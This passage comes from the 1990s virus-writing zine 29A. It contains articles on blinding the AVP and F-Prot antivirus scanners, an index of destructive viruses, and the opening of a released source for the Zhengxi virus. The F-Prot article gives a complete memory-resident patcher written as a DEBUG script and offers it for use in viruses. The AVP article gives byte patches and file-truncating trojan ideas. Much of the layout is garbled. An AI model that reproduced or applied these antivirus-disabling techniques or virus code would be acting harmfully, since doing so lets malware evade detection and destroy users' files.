AVP 2.2 naked *************************************************************************> Mister Sandman We all know AVP is the best antivirus in the world, no doubt about it. The most complete, the most reliable, above all, the most professional, but... is it also the safest? the answer is no :) We also know there's no antivirus invulnerable to a good codefuck. What we'll do with this report is to show some -until know- secret holes in AVP, and how to exploit them in order to write new retro functions.
KERNEL.AVB ********** AVP uses a detection scheme based on a sort of antiviral databases, which contain the necessary data (search strings, decryption routines, cleaning info...) for detecting and disinfecting viruses. They're predefined, and these are their names:
CA.AVB EXTRACT.AVB KERNEL.AVB MACRO.AVB TROJAN.AVB UNPACK.AVB
; ; ; ; ; ;
AVP's heuristics (code analyzer) Decompression routines (ZIP, ARJ, RAR...) AVP's kernel database Macro viruses detection Trojan detection Unpacking routines (PkLite, Diet...)
V_YYMMDD.AVB UPYYMMDD.AVB
; Main base, with all the viruses ; Weekly updates
All these databases are defined in AVP.SET, which is the file AVP reads before loading the them. Here is where AVP problems start... there's a good point to attack its kernel, because it contains all the necessary info about how to use the rest of the antiviral databases. Without it, AVP can't detect any virus, because it doesn't know how to interpret the data stored there... it's enough to comment it out from AVP.SET by means of a semicolon in order to knock out AVP; even if KERNEL.AVB is loaded b4 the rest of the databases, in other than first position. It would be enough to have a simple resident program (which might be a virus, of course) which would intercept function 4bh of int 21h and test for AVP.EXE; when being this file executed, it'd only have to open and modify AVP.SET by replacing the first character (KERNEL.AVB's "K") with a semicolon (;). Being executed in this way, AVP would detect *NOTHING*. Another interesting method is to change the DX value when AVP's about to read AVP.SET; instead of the original value (0004), we might enter 0010, so it would point to the second line of AVP.SET, skipping KERNEL.AVB. As a last thing, have a look at Tcp's AVP-Aids and at my AntiCARO... they both fool AVP in order to exploit some bugs which favour the spreading of our viruses :) Of course, due to the basereading system AVP uses, we can fuck the heuristic scanning (CA.AVB), the main virus database (V_YYMMDD.AVB), etc.
MODIFICATIONS ON THE FLY ************************ Another head-breaking problem for AVP. We're still trying to avoid the AVP detection, this time in a less abrupt method, which consists on modi-
fying the executable itself in memory. Intercepting the open and read functions, after some tracing, we reach a key point: a couple of conditional jumps, with which AVP decides whether a file is infected or not. Let's have a look at them:
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º 2B9C:00D3 55 PUSH BP º º 2B9C:00D4 8BEC MOV BP,SP º º 2B9C:00D6 56 PUSH SI º º 2B9C:00D7 8B760A MOV SI,[BP+0A] º º 2B9C:00DA C45E06 LES BX,[BP+06] º º 2B9C:00DD 26837F0A00 CMP Word Ptr ES:[BX+0A],+00 º º 2B9C:00E2 7506 JNE 00EA <* First jump ********¿ º º 2B9C:00E4 33D2 XOR DX,DX ³ º º 2B9C:00E6 33C0 XOR AX,AX ³ º º 2B9C:00E8 EB53 JMP 013D ³ º º 2B9C:00EA C45E06 LES BX,[BP+06] ³ º º 2B9C:00ED 26C45F19 LES BX,ES:[BX+19] ³ º º 2B9C:00F1 8BC6 MOV AX,SI ³ º º 2B9C:00F3 D1E0 SHL AX,1 ³ º º 2B9C:00F5 03D8 ADD BX,AX ³ º º 2B9C:00F7 26833F00 CMP Word Ptr ES:[BX],+00 ³ º º 2B9C:00FB 742A JZ 0127 <* Second jump ********Ù º º 2B9C:00FD 33C0 XOR AX,AX º º 2B9C:00FF 50 PUSH AX º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ok... it's rather obvious that we have to modify the first jump, but... ohhh, little fucking surprise; AVP stops its scanning and displays the following message: General protection fault at ED22:050B ;-) Hoho... watch out... the old russian bearded beerdrinker has implemented a protection routine in its code! and i recognize that i had a lot of fun when i saw that winking smiley... ok, one point for Kaspersky :) Nevertheless, if we 'touch' the second jump (74 -> 75, so the jz turns into a jnz), there's no stupid message and AVP's detection is completely blowed out... it will continue scanning without noticing any infection... Mister Sandman scores and ties ;) Anyway, if you don't wanna spend so many time (five minutes :) tracing thru AVP's code, just use this other way to reach the same result by following a simpler method. Your weapon will be GameTools or any other debugger able to intercept functions on the fly. Start intercepting every open with 3dh/int 21h; then intercept the file read (3fh/int 21h), and start tracing AVP's code as soon as it gets intercepted:
ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º 1610:0C14 B43F MOV AH,3F <* intercepted function º º 1610:0C16 8B5E06 MOV BX,[BP+06] º º 1610:0C19 8B4E0C MOV CX,[BP+0C] º º 1610:0C1C C55608 LDS DX,[BP+08] º º 1610:0C1F CD21 INT 21 º º 1610:0C21 1F POP DS º º 1610:0C22 7202 JB 0C26 [...] º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Once you've got this, just change b43f for b43c, so AVP will close the file instead of reading from it... the result will be that, as usual, AVP won't detect any virus. This method is a bit bully, but you'll save some time and the result will be the same :) Oh, btw... i was gonna forget it... Mister Sandman, 2; Kaspersky, 1 ;-P
WILD TROJANS ************ Another of the resources in order to fuck AVP is using trojans, albeit from here on, imagination is worth it. The twister ideas you have, the better and more original results you get ;) These are two of the ideas i've practised (i can't include it's destructive and goes against the rules of 29A) :)
their code as
þ Check every time AVP opens and reads from a file; then, trunk this file by using 3ch/int 21h... in this way, every file scanned by AVP will turn into a 0 byte file :*) þ Intercept AVP scanning and then infect, or even overwrite the file it's being scanned with a tiny virus... Trivial.22, for instance :)
MODIFICATIONS ON THE EXECUTABLE ******************************* Just note one more. In the AV community (sect?), the ratio between the stupidity of the sanity check is directly proportional with the stupidity of its author. And Kaspersky is part of that AV community, of course :) As he ain't a dork at all, the sanity check is quite original and effective. It just consists on a simple comparison of the address of the original entry point with the actual one. What does this mean? oh, well... just stop and think for a while about viruses which don't modify the entry point of the file they infect ;) As you can see, all it takes is some knowledge on how AVP behaves and some imagination to exploit its bugs. I stopped commenting the AVP.EXE disassembly, as AVP 3.0 will be released very soon, and its kernel has been written in ASM, so it will be much easier to explore than the code of previous versions, which was written in C++ , and be sure that i'll bring you more news and bugs on it in 29A#2 ;)
Mister Sandman, bring me a dream.
Chilling Fridrik *************************************************************************> Blade Runner The reason of writing this article is that i realised that i've never seen how to fool F-Prot in any virus magazine... and as i like to be original, i decided to have a look at it and try to do some modifications in its code so it won't detect any virus... and i got it :) And believe me that it's quite easy to do... just keep reading the article and try it by yourself following the next steps :) Ok, F-Prot, unlike TbScan, uses int 21h for opening, reading, and so on, that is, for scanning files for any infection. When it reads from a file, it does it holding the next values: AX=3f00h BX=0008h CX=0800h Since we know this, it's very easy for us to intercept this kind of calls to the int 21h with something like this:
new_int_21h:
jump_back: old_int_21h
cmp jne
ax,3f00h jump_back
cmp jne
bx,8 jump_back
cmp je
cx,800h fprot_read
db dw
0eah ?,?
Once we know that it's a F-Prot read, we can start doing our work... the unique things we must do for it to don't detect absolutely anything is to bypass the secure scan and the two types of heuristic scanning it uses. Let's see the way in which we can do this thingy :)
²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Secure method ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²
803FD0 >7519 C41E502D 26 807F01CF >750E 9AF500C136
CMP JNZ LES ES: CMP JNZ CALL
BYTE PTR [BX],D0 0123 BX,[2D50]
C706D64B0000 C706D44B0000 C41E502D 26 >803FFF 750B C41E502D
MOV MOV LES ES: CMP JNZ LES
WORD PTR [4BD6],0000 WORD PTR [4BD4],0000 BX,[2D50]
<<< change this for JZ
BYTE PTR [BX+01],CF 0123 <<< change this for JZ 36C1:00F5
BYTE PTR [BX],4D 0121 BX,[2D50]
<<< change 4dh for 0ffh
26 807F015A 742A
ES: CMP JZ
BYTE PTR [BX+01],5A 014B
²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² First heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²
9A2605AF1F 0BC0 >740E FF36E43D 9A0000794A
CALL OR JZ PUSH CALL
1FAF:0526 AX,AX 0117 [3DE4] 4A79:0000
<<< change this for jnz
²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Second heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²²
833EBF5500 >7402 EB32 81FE8713 7524
CMP JZ JMP CMP JNZ
WORD PTR [55BF],+00 0109 <<< change this for jnz 013B SI,1387 0133
And that's all, folks... since this five bytes have been changed, F-Prot will *NOT* detect any virus. As a last thing i'll include the complete routine, though it's a trivial thing, so you can implement it in your retro code; as i always use debug for coding, i think you'll have to adapt it, but anyway... :) And don't ask me why do i always use debug for ditional .ASM text file and TASM or A86... :)
coding instead the tra-
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 na-fp.com a100 jmp 0174 a110 cmp ah,3f jz 0117 jmp 0125 cmp bx,+08 jz 011e jmp 0125 cmp cx,0800 jz 0130 nop cs: jmp far [0103] a130 push push push push push
ax bx cx dx ds
mov sub mov mov mov mov mov mov mov mov mov mov sub mov mov mov mov mov sub mov mov mov pop pop pop pop pop cs: jmp
ax,ss ax,3295 ds,ax bx,01a2 cl,f0 [bx],cl cl,74 bx,042b [bx],cl bx,0420 [bx],cl ax,ss ax,3521 ds,ax bx,03e8 cl,75 [bx],cl ax,ss ax,17c7 ds,ax bx,0347 [bx],cl ds dx cx bx ax far [0103]
a174 mov dx,197 mov ah,9 int 21 mov ax,3521 int 21 mov [0103],bx mov [0105],es mov dx,0110 mov ax,2521 int 21 mov dx,0174 int 27 a197 db "F-Prot won't detect any virus","$" db " (c) Blade Runner/29A, 1996 ","$" rcx be w q >- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
Blade Runner/29A Los Angeles, 2019
Virus index *************************************************************************> Mister Sandman Zhengxi.7313 ************ Author : Unknown (well, hehe... ;) Origin : Russia Objectives: EXE (standard, Pascal/C, SFX), OBJ and LIB. Besides, Zhengxi inserts COM droppers into ZIP, ARJ, RAR and HA archives with the stored method Hooks : int 21h and int 25h, with redirection and UMB residency; it doesn't go resident under certain conditions Behaviour : full stealth, highly polymorphic (encrypted with two polymorphic loops), uses a CRC32 generator for every data comparison it makes. It has a trigger routine, with deletes all the files of all the drives under certain conditions. This is probably the best virus ever.
V.6000 ****** Author : Disasm by : Origin : Objectives: Hooks : Behaviour :
TS.1423 ******* Author : Disasm by : Origin : Objectives: Hooks : Behaviour :
Unknown Tcp/29A Unknown EXE, COM, MBR and boot sectors (multipartite) int 8, 13h, 17h, 1ch, 20h, 21h, 25h, 26h, 27h under certain conditions, depending on some internal counters and on the way it's being executed (under debugger), it erases the CMOS and the hard drive sectors. It also stays memory resident after any kind of reboot thanks to this trick: when it infects MBR, it stores the drives info from the CMOS, and then sets these values to zero. When it detects any disk acccess, it restores the original CMOS on the fly, so the user can't remark any change. If the user tries to do any kind of boot, as the CMOS values are set to zero, the MBR will receive the control, and it will restore these values, making possible to boot from the floppy drive as usual. Polymorphic :)
Unknown Tcp/29A Spain COM and EXE files (infects on file closing) int 13h, int 21h its encryption routine is based on tracing code via int 1, fully antidebugging. It doesn't infect *AN.*. If the year is above 1995, it will mark clusters as bad, and on fridays, it will change disks writes to verifications. UMB residency.
Remolino.968 ************ Author : Trumpet WinCock Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : a new infection way... neither overwriting, nor appending, nor prepending, nor ap-pre-pending... guest :) It looks for some unused code in their victims big enough to hold the viral code, and if there's enough room for it, it copies itself
there without doing any change in the file length. It has a payload which displays a whirlscreen effect, which became rather famous (it was even used by NuKE in their zines).
Torero ****** Author : Origin : Objectives: Hooks : Behaviour :
Mister Sandman/29A Spain COM files int 13h, int 21h it has two peculiarities: first, it doesn't store the original header of the files it infects into its body, but into a newly discovered (by AVV and me) zone of ten free bytes, in the directory entry of the file. And second, it uses the 8th attribute bit as infection mark, making the infection checks much more simple, reliable and antiheuristic.
Internal Overlay **************** Author : Tcp/29A Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : it infects COM and EXE files without modifying their headers, bypassing lots of CRC security programs which just check the file header. It does this by appending an internal overlay to the file and writing an overlay loader at the entry point. It infects, then, EXE files with internal overlays, but NOT if any of the relocation items is located in the entry point, unless this item is found at offset 7 (it would be a PkLited file) ;)
Cri-Cri ******* Author : Origin : Objectives: Hooks : Behaviour :
TheBugger ********* Author : Origin : Objectives: Hooks : Behaviour :
Griyo/29A Spain COM, EXE and floppy drives (multipartite) int 3, 13h, 21h full stealth, as it redirects reads to infected sectors and files to the original ones, highly polymorphic, it won't infect files with any V in their name, files with the actual day date, and some AV executables. It has a payload which display a message on the screen.
The Slug/29A Spain COM files int 1, 3, 21h, 0cdh, with redirection its peculiarity consists in that it gets a random number between 2 and 5 (x) and starts tracing its victim until it reaches the call number 'x' :) and then infects that call. It uses a new tunneling routine based on an old one (the int 30h trick), bypassing the AH < 24 limit and finding the original int 21h vector address. Besides, it uses an antilamer install check which detects if the user is trying to deceive it with one of those lame programs which just return the virus residency value so the virus doesn't go resident again... TheBug-
ger avoids this by doing a random byte comparison, and if it detects that the user is trying to deceive it, executes a simulated HD formatting routine and displays a message.
Apocalyptic *********** Author : Origin : Objectives: Hooks : Behaviour :
AVP-Aids ******** Author : Origin : Objectives: Hooks : Behaviour :
AntiCARO ******** Author : Origin : Objectives: Hooks : Behaviour :
Wintermute/29A Spain COM and EXE files int 3 and int 21h, with redirection it's a stealth COM and EXE infector which disables TbDriver on every execution; it skips F-Prot's stealth detection engine, and if the system date is equal to july 26th, it will show all the files in with 29Ah as length.
Tcp/29A Spain COM files nothing, it's a runtime infector AVP-Aids proves the capabilities to write and spread viruses using AVPRO's API functions. It inserts a new viral database into AVP; this database will make AVP to delete F-Prot, Scan and TbScan when being scanned. Besides, AVP won't detect any virus, favouring the appeareance of opportunist infections by other viruses.
Mister Sandman/29A Spain COM files int 21h it's just a 'joke' virus to protest against Vesselin Bontchev and the way in which CARO and this sucka name the viruses. As AVP is Bontchev's favourite AV, AntiCARO will modify it so it (AVP) will detect VLAD's Bizatch as 'Bizatch_:P' and not as Boza. About the virus itself, it's just a TSR COM infector which uses SFTs for performing its infection routines.
Galicia Kalidade **************** Author : Leugim San/29A Origin : Spain Objectives: WinWord documents Behaviour : it's an encrypted macro infector which hits documents on closing. Besides, it has two peculiarities: it's the tiniest macro infector ever, and it contains a trigger routine; if it finds the text chain 'dir a:' in any document, it will delete MSDOS.SYS and IO.SYS, and then display a message box.
Mister Sandman, bring me a dream.
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
Ú**********************¿ ³ Zhengxi.7313 ³Û ³ original source code ³Û ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
At last... the source of the most complex virus ever is published in a virus magazine. And we're glad that the fortunate magazine is 29A :) You are stepping with the reader cool smooth scroll through the original source code of the best of the three versions (7271, 7307, 7313) of Zhengxi. This source code, as the compiled version of the virus itself, is quite hard to understand. Anyway, i decided to leave the source code 'as is', albeit some weeks ago i started making it up a bit and commenting some uncommented code so it would be more easy and clear to read. At last i decided to stop spending my time on this and give you the *truly* original source code, so you can know the way in which its author coded it, you can read the original comments (some of them in russian), and so on. The original source code is formed by some ASI, ASM and INC files, which make the virus compiling harder than the virus coding itself :) That's why i included a ZIP which contains the compiled version of Zhengxi.7313. I must give thanks to the author of this rocking virus because of the supermarvel he coded and for releasing the original source code (btw, he seems to have a great sense of humour :), and to the friend who gave this jewel to me, who wishes to remain anonymous. As a last thing, for those who still don't know what does Zhengxi do (!), here's a very good report about the Zhengxi virus family, written by Eugene Kaspersky, who, btw, should use the money he earns with AVP for taking some english classes :)
**´ Zhengxi family Ã***************************************************** This is the family of very dangerous, polymorphic and stealth parasitic viruses. These viruses are more that 7k of length, very complex, maybe the most complex DOS viruses. These viruses infect EXE, OBJ and LIB files, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viruses contain the text strings: Abnormal program termination The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd Warning! This program for internal use only!
Installation ************ The virus code receives the control from different points depending on the infection way, but in all cases the destination is the polymorphic decryption routine. In EXE files (appending) the decryption routine receives the control immediately when EXE file is loaded into the memory for execution; in EXE files (inserting), from the loader code (see EXE infection); in the files linked with infected OBJ/LIB files, from a call instruction (see OBJ/LIB infection); the COM droppers have a jmp instruction at their beginning, which brings the control to the decryption routine. Being decrypted, the virus installation routines receives the control. The virus hooks int 1 (one step tracing), and traces int 21h. While tracing, the virus looks for some specific code within the int 21h handler (that code is present in DOS 5.x and DOS 6.x). If such code is found, the virus checks several conditions, and terminates installation in some cases. These cases are the ones below:
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
- Microsoft Windows is installed - Boot drive is A: or B: - Int 8, 13h, 28h point to the same segment (to exit installation if any antivirus monitor is installed?) - Host file's day (date and time stamp) is the same or near the current day (if the two highest bits of current day number xored with the file day is equal to zero) Then the virus allocates the block of the system memory for the virus TSR copy, stores in its body 11 bytes from the address of the int 21h handler and patches int 21h code with a far call instruction (2f ff 1e ?? ??), which brings the control to the int 25h handler (absolute disk read). Then the virus stores the first five bytes of int 25h handler and writes there other five bytes, which become the far jmp to the virus code. The result looks like follows: int 21h handler: ... Ú********* 2e ff 1f ???? ³ c7 06 ³ int_25h: ???? ???? ³ ... ³ À> int 25h handler: Ú********* ea ???? ???? ³ ... À> virus handler: 2e 8f 06 ... ...
... call far cs:int_25h ???? ???? ???? ...
; Magic word? ; Far addr of int 25h
jmp far virus_handler ... pop cs:caller_ip ...
As result, the virus has the same handler to intercept both int 21h and int 25h calls. To separate these calls, Zhengxi checks the address of the caller (the caller_ip). If the call goes to the int 21h handler, the virus passes the control to its int 21h handler routine; in another case, the virus int 25h handler receives the control. The installation routine is complete, but the virus can move its code to other memory blocks (see int 21h handler analysis). So, the TSR copy of the virus does not occupy the same blocks of the system memory, but may move itself to other addresses, including UMB ones. Then the virus returns the control to the host program. There are three different variants of such return, and they depend on the infection method. In case of a COM dropper the virus just displays this message: Abnormal program termination And returns to DOS with the terminate function (int 21h, ah=4ch). In case of the EXE-appending infection method the virus restores the original file header by using its polymorphic engine (generates the polymorphic decryption routine, and executes it for restoring the original header (see EXE infection below). In case of the EXE-inserting way the virus just returns to the host program because the virus loader inserted into the file restores the original code itself. In case of being an OBJ/LIB file the virus also just returns to the host (see OBJ/LIB infection below).
Int 21h handler *************** Zhengxi intercepts 18 int 21h functions: 3dh, 6ch 3eh
- Open/create file - Close file
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
3fh 42h 4bh 41h 11h, 4eh, 00h, 31h 67h 48h,
12h 4fh 4ch 49h, 4ah -
Read file Lseek File execution Delete file Findfirst/findnext FCB Findfirst/findnext ASCII Terminate Terminate and stay resident Set handle count Memory managing functions (allocate, free, resize)
The set handle count, file execution and memory managing functions are used by the virus to hide its code into the system memory (Zhengxi manipulates MCB blocks to remain invisible on the memory map while using memory browsing utilities). While intercepting terminate, TSR and free memory DOS functions, Zhengxi moves its code to a new address in the system memory. The virus allocates a new memory block (may be a conventional or UMB memory block), and copies itself there. So, while installing, the virus does not affect UMB blocks to place its TSR copy, but then it may move into UMB, and hide itself there. While file opening the virus performs several different calls. First, the virus checks the opening mode, and if the file is opened for writing, the virus disinfects the file. Before disinfection the virus checks the file is being accessed, and the program that is accessing that file (the caller). The virus compares the name of this program or caller with a name list (see below), and does not disinfect the accessed file if the caller name is found in that list. UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE In case of the ah=3d00h function (open read-only) the virus performs some strange actions. It scans the caller code and patches it. It looks like patching some antivirus scanner. Fortunately, the virus has a bug, and that branch is never executed. While opening the file, the virus also brings the control to its stealth routine: it replaces the file length with the original one. While reading from a file, Zhengxi calls the stealth routine. In case of reading from the header of the infected file the virus reads, decrypts and copies the original header into the reading buffer. In case of the lseek function the virus brings the control to other of its stealth routines: it doesn't allow to seek out of the original file length. While deleting an infected file, the virus disinfects it. While looking for files with findfirst/findnext, Zhengxi replaces the file length with the original one if the file is infected. Findfirst/findnext ASCII calls are also used by the virus to catch files for infection. The virus saves the name of any file that is accessed with the findfirst function, and approximately each 5th file (with probability 3/16) accessed with the findnext function. The virus has only one buffer for the file name, so every next name overwrites the previous one. While closing any file the virus checks and infects it with the name that
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
that is stored in the buffer. The virus also infects the file that is being closed, but is does it with probability 1/4 (by the result of its random generator).
Infection ********* Before infecting a file, Zhengxi checks several conditions: - The file with the - The file - The file - There is
is not "just created", by comparing the current day number file date and time stamp (as while installing itself) is local, and not on A: or B: drive name is not *.?V? (*.OVL) enough free disk space (it checks this with int 21h, ah=36h)
If all this is ok, the virus reads the file header and checks it for EXE, OBJ, LIB and archives stamps.
Infecting EXE files ******************* Zhengxi infects EXE files by using three different infection methods: appending, inserting, and infecting archives in self-extracting files. At first, the virus checks the file structure, and if it is a self-extracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR) that is, creating a COM dropper and adding it to the archive contents. Then the virus checks the file length, and doesn't infect files with a length lesser than 400h (1024) bytes. If the length of the loadable modudule (note: not the file length) is larger that 32k, Zhengxi inserts its own loader int the middle of the file. In other case, it infects the file by the appending method. While infecting files by the appending method, Zhengxi reads file header, encrypts and saves it to the end of the file. Then it runs its polymorphic generator, and saves the encrypted virus body and the polymorphic loops to the end of the file. For finishing the file infection, Zhengxi increases the file length to a value that divided by 9dh gives 25h as rest (this is the virus ID stamp, its infection mark), and modifies the EXE header fields (registers and module length). Note: Zhengxi encrypts the original host header with the polymorphic encryption loop, and that loop is different that the routine it uses for encrypting the virus body. Then, the virus calls its polymorphic engine twice: while encrypting the original EXE header, and while encrypting the main body. While executing an infected EXE file, the decryption loop restores the main virus body, but not original file header. To return to the host, the virus has to decrypt the host data, but the engine generates random loops with random selected encryption functions. To solve that problem, Zhengxi stores the initial random generator values while encrypting the host data, and runs the polymorphic generator with the same values while decrypting those data. As result, the generator brings the same code which was used for encrypting the host header, and being executed, that routine decrypts it.
Infecting EXE Files (inserting) ******************************* If the file length is above 32k, the virus
seeks to the beginning of the
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
EXE main module (just after EXE header), reads 6k of code, and looks for C/Pascal routines there. Usually C/Pascal routines begin from the same "header" that saves the BP register, and moves the stack pointer to BP. Zhengxi scans the code for those "headers" and, if such code is found, the virus scans the next 54h bytes of code for a ret or a call far instruction to prevent an overlap of the next subroutine, or relocated address. If such code (ret or call far) is found, the virus exits from its infection routine. Then the virus reads 54h bytes of that routine, overwrites it with the code of its loader, and then encrypts the main virus body with its polymorphic engine, and saves it to the end of the file. Then Zhengxi encrypts with a simple sub function the original subroutine code and the second part of the loader, and saves it to the end of the file. Then the virus writes the random data to the end of the file in the same way as in the "appending" infection method. Not infected Infected ************ ******** Ú**************¿ Ú**************¿ ³EXE header ³ ³EXE header ³ Ã**************´ Ã**************´ ³Main EXE code ³ ³Main EXE code ³ Ã--------------´ Ã--------------´ ³C/Pascal subr Ã**¿ ³Virus loader ³ Ã--------------´ ³ Ã--------------´ ³ ³ ³ ³Main EXE code ³ ³ ³ ³ ³(continued) ³ À**************Ù ³ Ã**************´ ³ ³Virus ³ ³ Ã--------------´ ³ ³Virus loader ³ ³ Ã--------------´ À*>³Saved code ³ Ã--------------´ ³Random data ³ À**************Ù
Part 1, 52h bytes, not encrypted
Encrypted with polymorphic loops Part 2, encrypted with sub 70h bytes Original code of the patched subr, 52h bytes, encrypted with sub File length/9dh, the rest is 25h
Being executed, the loader looks for the host file name by using the PSP fields, opens the file, seeks to the file end, then reads, decrypts and executes the second part of the dropper. This part restores the patched subroutine, allocates system memory (conventional or UMB), reads the main virus body, and passes the control to the decryption polymorphic loop. That loop decrypts the virus body, and passes the control to Zhengxi's installation routine. This is a very insidious infection way. The virus code is hidden in the file, and there is no direct entry to the virus code from the file header. The subroutine replaced with virus loader may be a "seldom-executed" one. For instance, a subroutine which displays an error message. So the virus may "sleep" in such files for a long time, and then jump out and infect the system under some limited conditions.
Infecting archives ****************** In case of having to infect an archive, Zhengxi builds in memory the infected COM dropper image, and appends it to the archive. Those COM droppers always begin with a jmp instruction followed by random data, the encrypted virus code and the decryption polymorphic loop. The jmp instruction brings the control to this decryption loop.
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
The name of the COM dropper is random extension, for instance:
selected and
finished with a .COM
HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on. While processing the archive fields, Zhengxi does not use any external utility, but fills by itself all the necessary fields. The virus does not pack the dropper: it uses the "stored" method (the virus is stored in the archive "as is"). While infecting, Zhengxi checks the contents of the archives, and does not infect them twice.
Infecting OBJ and LIB files *************************** While infecting OBJ/LIB modules, Zhengxi checks the fields of the file, creates, and inserts there a new object record which contains the viral code, encrypted with two polymorphic loops. While scanning object files, the virus checks the code of these files for a C/Pascal subroutine "header" as well as while inserting into EXE files, and infects the files only if that code is found. But if the OBJ or the LIB module doesn't contain such code, the virus does not drop the loader code there, but overwrites a C/Pascal header with a call instruction. Being linked to an executable file, that call brings the control to the virus polymorphic decryption loop. That loop decrypts the viral code and passes the control to the virus installation routine. As well as in EXE files (inserting), that call may never receive the control, so Zhengxi may sleep for a long time. But under some conditions the virus may jump out and infect the system.
Int 25h handler *************** This handler carries out the stealth routine on int 25h level. While accessing to the directory entries, the virus substitutes the file length with the original one. While reading the header of an infected file, the virus restores and brings it in its original form. The virus doesn't stealth 100% on int 25h level, of course. There are several ways to bypass this stealth routine. But if some antivirus program reads the file contents via int 21h DOS functions, then it reads the directory structure and then the file contents by absolute int 25h calls, and Zhengxi remains completely invisible.
Trigger routine *************** If while processing a ZIP file Zhengxi finds some record packed with the "stored" method, it checks the ZIP file date and time stamp. If the year of last modification of that file is 1996 or above, Zhengxi will look for all the files of all the directories on all the disks (from C: till Z:), and delete them (the files and whole subdirectory tree). **´ Zhengxi code Ã*******************************************************
; Structure of archive block (low order byte first): arj_hdr_struc struc arj_header_id dw ? ; 0;=EA60 2 header id (comment and local ; file) = 0xEA60 or 60000U arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from ; 'first_hdr_size' thru 'comment' below)
arj_first_hdr_size arj_ver_num arj_min_ver arj_host_OS
db db db db
? ? ? ?
arj_flags
db
? ; ; ; ;
arj_compres_method
db
; ?
arj_file_type
db
?
arj_reserved arj_file_time arj_file_date
db dw dw
? ? ?
arj_compressed_size arj_original_size arj_CRC32 arj_entryname_pos arj_file_access_mode arj_host_data
dd dd dd dw dw dw
? ? ? ? ? ?
; ; ; ;
? ? 4 2
;= first_hdr_size + strlen(filename) + 1 ;+ strlen(comment) + 1 ;= 0 if end of archive ; 4;1E 1 first_hdr_size (up to extra data) ; 5;06 1 archiver version number ; 6;01 1 min. archiver version to xtract ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS, ; 2 = UNIX, 3 = AMIGA, 4 = MACDOS) ; 8;10 1 arj flags (0x01 = GARBLED_FLAG) ; indicates passworded file ; (0x02 = RESERVED) ; v- no inf.vol.files, detect it as already ; (0x04 = VOLUME_FLAG) indicates continued ; file to next volume ; (0x08 = EXTFILE_FLAG) indicates file ; starting position field ; (0x10 = PATHSYM_FLAG) path translated ; 9;00 1 method (0 = stored, 1 = compressed ; most ... 4 compressed fastest) ; A;00 1 file type (0 = binary, 1 = text ; 2 = comment header) ; B;'Z' 1 reserved ; C; 4 date time stamp modified ; E; 4 date time stamp modified ;10; ;14; ;18; ;1C;0 ;1E;0 ;20;0 ;22;
4 4 4 2 2 2
compressed size original size original file's CRC entryname position in filename file access mode host data (currently not used)
filename (null-terminated) comment (null-terminated) basic header CRC 1st extended header size (0 if none) = 0
